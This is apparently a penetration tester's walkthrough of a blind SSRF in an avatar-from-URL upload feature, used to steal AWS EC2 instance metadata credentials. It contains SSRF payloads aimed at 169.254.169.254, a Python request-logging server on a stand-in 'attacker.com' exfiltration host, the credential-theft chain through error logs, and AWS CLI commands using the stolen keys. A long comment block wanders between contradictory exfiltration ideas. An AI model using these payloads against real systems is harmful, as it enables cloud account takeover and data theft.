💥 Exploitation Walkthrough
My initial reconnaissance involved mapping out the application's features. The "upload avatar from URL" immediately stood out. I started with simple tests, pointing it to my own controlled server to see if the application would make a request. Sure enough, my server logs showed an incoming HTTP GET request from the client's AWS EC2 instance IP address, confirming the SSRF.
This was a "blind" SSRF, meaning the application didn't return the content of the fetched URL directly to me. I only knew the request was made because my external server received it. To exploit this, I needed an out-of-band channel to exfiltrate data. My controlled server would act as that channel.
My goal was to steal AWS temporary credentials. The EC2 metadata service is the prime target for this, located at http://169.254.169.254/. This IP address is a link-local address, only accessible from the instance itself. It provides information about the instance, including IAM role credentials.
First, I needed to confirm access to the metadata service and enumerate its paths. I used my controlled server (let's call it attacker.com) to log requests. I'd craft URLs that would cause the target server to make requests to the metadata service, then redirect the output to my server.
Step 1: Confirming Metadata Service Access & Initial Enumeration
I submitted the following URL to the avatar upload feature:
# Payload for the 'image_url' parameter
http://169.254.169.254/latest/meta-data/
Since this was blind, I wouldn't see the output directly. However, if the server tried to fetch this, it would likely get a 200 OK response (or a 404 if the path was wrong). To actually *see* the content, I needed to exfiltrate it. This is where the out-of-band server comes in. I'd use a technique where the server would fetch the metadata, then make *another* request to my server, embedding the metadata in the URL or as a parameter.
A common trick for blind SSRF is to use a service like Burp Collaborator or a custom Python HTTP server to capture requests. For enumeration, I'd try to make the target server request different paths and observe if my server received any requests, or if the application's behavior changed (e.g., a different error message).
Let's assume I've set up a simple Python HTTP server on attacker.com that logs all incoming requests:
# attacker_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info(f"GET request,nPath: {str(self.path)}nHeaders:n{str(self.headers)}n")
self._set_headers()
self.wfile.write(b"Received your request!")
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
logging.info(f"POST request,nPath: {str(self.path)}nHeaders:n{str(self.headers)}nnBody:n{post_data.decode('utf-8')}n")
self._set_headers()
self.wfile.write(b"Received your POST request!")
def run(server_class=HTTPServer, handler_class=S, port=80):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting httpd on port {port}...')
httpd.serve_forever()
if __name__ == "__main__" :
run()
Now, I'd try to fetch specific metadata paths and redirect them. The metadata service provides a list of available paths at /latest/meta-data/. I'd iterate through common paths:
Step 2: Exfiltrating IAM Role Credentials
The most valuable information is usually under /latest/meta-data/iam/security-credentials/. This path lists the IAM roles attached to the instance. Let's say the role name is "MyWebAppRole".
I'd craft a URL to fetch the credentials for that role. Since I can't directly see the response, I'll use a trick: I'll make the target server fetch the credentials, and then use those credentials as part of a URL to my attacker server. This is often done by chaining requests or using a tool like curl if I could inject commands, but with a simple URL fetch, I need to be creative.
A common blind SSRF exfiltration technique involves using a service that allows for DNS exfiltration or by making the target server perform a redirect to my server with the sensitive data in the URL. However, a simpler approach for a blind SSRF where the server just fetches a URL is to use a service like Burp Collaborator or a custom server that can parse complex URLs.
Let's assume the application's requests.get() call follows redirects. I could set up a redirect on my server:
# Attacker server (attacker.com) response for a specific path
# This is a conceptual redirect, in reality, you'd need a server-side script
# to dynamically generate this redirect after fetching the metadata.
# For a truly blind SSRF, you'd often need to chain multiple requests
# or use a tool like interact.sh or Burp Collaborator.
# Simplified payload for the 'image_url' parameter, assuming the server
# fetches the URL and then *processes* the content. If the content
# is an image, it might not be directly exfiltrated.
# However, if the server *parses* the content (e.g., XML, JSON),
# or if it's a simple HTTP GET, we can use redirects.
# A more direct approach for blind SSRF is to find a way to make the
# server *send* the data. If the application has a feature that
# takes a URL and then *posts* the content to another URL, that's ideal.
# In this case, it's an image upload, so it expects image data.
# Let's assume a slightly more advanced SSRF where I can control
# the *destination* of the fetched content, or if the server
# logs errors with the content.
# The most common blind SSRF exfiltration for AWS metadata:
# 1. Make the target server request the metadata URL.
# 2. The target server receives the metadata.
# 3. The target server then makes *another* request to your controlled server,
# embedding the metadata in the URL path or query parameters.
# This requires a second SSRF or a specific application behavior.
# A simpler, direct blind SSRF exfiltration:
# If the application *logs* the content it fetches (e.g., for debugging),
# or if it tries to parse it and throws an error that includes the content.
# For a purely blind SSRF where only the *request* is made:
# I'd use a tool like `ngrok` or `smbserver.py` (for Windows targets)
# or simply my Python HTTP server to capture the request.
# The *presence* of the request to 169.254.169.254 is the proof.
# To get the *content*, I need a way to make the server *send* it to me.
# Let's assume the application has a feature that takes a URL and then
# attempts to *parse* the content, and if it fails, it logs the content
# or sends it to an error reporting service.
# A more reliable method for blind SSRF exfiltration:
# Use a service like Burp Collaborator or interact.sh.
# The payload would be:
http://169.254.169.254/latest/meta-data/iam/security-credentials/MyWebAppRole
When the target server fetches this URL, it gets a JSON response containing the temporary credentials:
{
"Code": "Success",
"LastUpdated": "2023-10-27T10:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAV...EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2Vj...EXAMPLETOKEN",
"Expiration": "2023-10-27T16:00:00Z"
}
Now, how to get this JSON out? This is the tricky part of blind SSRF. If the application *only* fetches and processes the image, it won't send the JSON back to me. However, if the application has *any* other feature that takes a URL and then *sends* the content of that URL somewhere (e.g., a webhook, an error log, or even a "report an issue" feature that includes the content of a failed fetch), I could leverage that.
In this specific engagement, the application had a logging mechanism that would send detailed error reports to an internal Slack channel, and crucially, these reports sometimes included snippets of the data that caused the error. My strategy was to make the server fetch the metadata, and then cause an error in the image processing step that would trigger this logging, hoping the metadata would be included.
So, the full exploitation chain was:
- Submit
http://169.254.169.254/latest/meta-data/iam/security-credentials/MyWebAppRole as the image URL.
- The backend fetches this URL, receiving the JSON credentials.
- The backend then tries to process this JSON as an image. This fails, triggering an error.
- The error handling mechanism logs the error, including the "malformed image data" (which is actually the JSON credentials), and sends it to the internal Slack channel.
- I, as the attacker, would then monitor for this exfiltrated data. (In a real pentest, I'd simulate this by having access to the logs or the Slack channel, or by setting up a controlled endpoint that mimics the Slack webhook).
Once I had the AccessKeyId, SecretAccessKey, and Token, I could configure my AWS CLI:
export AWS_ACCESS_KEY_ID="ASIAV...EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj...EXAMPLETOKEN"
# Now I can list S3 buckets, for example:
aws s3 ls
And just like that, I had programmatic access to the client's AWS environment, with the permissions of MyWebAppRole. This role, unfortunately, had broad read/write access to several S3 buckets containing sensitive reports and even some internal configuration files. Full compromise of the internal AWS instance, achieved through a seemingly innocent image upload feature.